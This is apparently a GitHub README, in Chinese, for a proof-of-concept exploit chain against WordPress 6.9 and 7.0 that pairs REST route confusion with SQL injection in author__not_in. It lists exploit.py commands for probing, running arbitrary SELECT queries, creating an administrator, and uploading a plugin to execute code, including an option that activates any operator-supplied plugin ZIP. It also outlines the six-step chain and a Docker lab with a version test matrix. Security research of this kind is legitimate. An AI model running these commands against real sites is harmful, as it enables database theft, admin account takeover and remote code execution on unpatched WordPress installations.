HackingLZ/wp2shell_stock_chain

GitHub: HackingLZ/wp2shell_stock_chain

针对 WordPress 6.9/7.0 REST 路由混淆与 SQL 注入漏洞的原生核心利用链 PoC,包含完整复现环境与版本测试矩阵。

Stars: 3 | Forks: 1

# wp2shell 原生核心利用链 针对受影响的 WordPress 6.9 和 7.0 的授权测试概念验证 REST 批处理路由混淆与 `author__not_in` SQL 注入利用链。 管理员提权路径使用 WordPress 原生核心。它**不**使用 MySQL `FILE`、`INTO OUTFILE`、堆叠查询、可写的文档根目录,也不依赖 `secure_file_priv` 的更改。 复现和检查该工作流所需的所有内容都包含在此文件夹中。默认的影响阶段被刻意限制为固定的 `id` 命令。它没有任意命令执行选项,也不会留下可复用的 webshell。 ## CLI 模式 ``` # 非持久 sentinel probe。Exit 0 表示存在漏洞,1 表示 sentinel # 被阻止,2 表示结果不确定(例如,无网络)。 python3 exploit.py http://TARGET --check # 通过 UNION 原语执行 SELECT。 python3 exploit.py http://TARGET "SELECT @@version" # 创建一个管理员并验证一个正常的 wp-login.php 会话,然后停止。 # Email 默认为保留的 example.invalid 地址。省略 --password 以 # 在没有终端回显的情况下输入。 python3 exploit.py http://TARGET --add-user \ --username audit-admin \ --password 'Use-A-Lab-Only-Password' # 一次性私有实验室影响证明:创建管理员、登录、 # 上传/激活一次性插件,并执行固定命令 `id`。 python3 exploit.py http://127.0.0.1:8080 --exec \ --username audit-admin \ --password 'Use-A-Lab-Only-Password' # 当任何凭据被省略时,使用生成的凭据进行相同的端到端流程。 python3 exploit.py http://127.0.0.1:8080 --complete-chain # 将默认的 id 证明替换为运营者提供的 plugin ZIP。 python3 exploit.py http://127.0.0.1:8080 --exec \ --username audit-admin \ --password 'Use-A-Lab-Only-Password' \ --plugin-file ./my-plugin.zip ``` `--add-admin` 依然是 `--add-user` 的别名;`--rce-proof` 依然是 `--exec` 的别名。`--exec` 和 `--complete-chain` 不接受任何 shell 命令:两者都只 运行内置的 `id` 验证,并且仅限于环回/私有网络目标。 `--plugin-file PATH.zip` 会用上传并激活指定压缩包的操作替代该验证。自定义插件 不会被自动移除。 原生管理员利用链执行以下步骤: 1. 从合成的 ID 为零的文章中渲染六个唯一的同站点 embed,从而 导致创建普通的 `oembed_cache` 行。 2. 使用 UNION 行在请求级的文章缓存中填充伪造的 A–F 对象,这些对象由那些真实的行 ID 支持。 3. 让 oEmbed 的稀疏更新和两个层级循环修复机制持久化伪造的 字段,并发布一个伪造的 Customizer 变更集。 4. 在 Customizer 临时选中站点现有的管理员时,使用 `nav_menus_created_posts`。 5. 利用文章状态 `parse` 和类型 `request` 组合动态的 `parse_request` 钩子,重新进入 REST,并通过 受保护的用户 endpoint 创建指定的管理员。 6. 使用新的凭据正常登录。 这个精确的路径需要默认的非持久化 WordPress 对象缓存,并且站点中至少有一篇可以 oEmbed 的公开文章。`--add-user` 会保留这六个 利用链拥有的文章行以供检查。默认执行模式会在固定的验证运行后移除这六个 行。自定义插件运行会保留这些行和已激活的插件,以便操作员进行手动清理。 执行模式仅限于环回和私有网络目标。 默认路径通过普通的管理员界面上传插件,并调用仅限管理员的 REST 路由。该路由不接受任何命令输入:它仅运行 `id`(或者在 `shell_exec` 不可用时返回一个 PHP 执行标记), 随后停用自身,并删除其文件和目录。它不会安装 交互式或可复用的 webshell。 ## 一次性 WordPress 7.0.1 实验环境 包含的测试夹具使用原生的 `wordpress:7.0.1-apache` 和 `mariadb:11` 镜像,且不更改 MariaDB 的权限或服务器设置。禁用核心自动更新仅仅是 为了防止这个故意设置漏洞的测试夹具在测试期间自行升级。 Apache 监听配置的站点端口,以便可以从容器内部访问同站点的 oEmbed 回调。 ``` docker compose -f lab/docker-compose.yml up -d python3 exploit.py http://127.0.0.1:8080 --exec \ --username audit-admin \ --password 'Lab-Only-Password-7.0.1' \ --email audit-admin@lab.invalid docker compose -f lab/docker-compose.yml down -v ``` ## 漏洞版本矩阵 受影响的稳定版本为 6.9.0 到 6.9.4 以及 7.0.0 到 7.0.1。矩阵测试框架会为每个 镜像提供一个全新的安装环境,在 `wp-config.php` 中禁用核心更新,并记录 query、add-user、exec、complete-chain 和自定义 插件的结果。 在缺少精确 Docker 标签的情况下,它会将官方的精确核心压缩包 安装到最接近的原生 WordPress Apache 镜像上,并记录该夹具来源。 ``` # 每个已修复分支点发布之前的所有稳定版本。 ./lab/test-matrix.sh # 每个受影响分支中的一个最新易受攻击的代表。 ./lab/test-matrix.sh --quick # 添加已修复的 6.9.5 和 7.0.2 阴性对照。 ./lab/test-matrix.sh --include-fixed ``` 默认报告会写入 `matrix-results.tsv`。可以使用 `--report PATH` 覆盖它。请参阅 [ATTACK_WORKFLOW.md](ATTACK_WORKFLOW.md) 以获取完整的 源码级工作流、假设、清理行为和阶段边界。 ## 法律声明 仅针对您拥有或获得明确书面测试授权的系统使用。
标签:CISA项目, PoC, Python, Web报告查看器, WordPress, 安全, 文件完整性监控, 无后门, 暴力破解, 版权保护, 请求拦截, 超时处理, 逆向工具